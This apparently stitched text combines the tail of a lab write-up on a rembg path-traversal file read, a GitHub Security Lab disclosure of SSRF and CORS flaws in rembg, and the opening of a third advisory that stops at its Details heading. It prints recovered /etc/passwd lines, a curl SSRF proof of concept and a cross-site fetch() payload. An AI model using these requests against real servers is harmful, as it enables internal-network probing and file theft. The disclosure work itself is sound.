root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details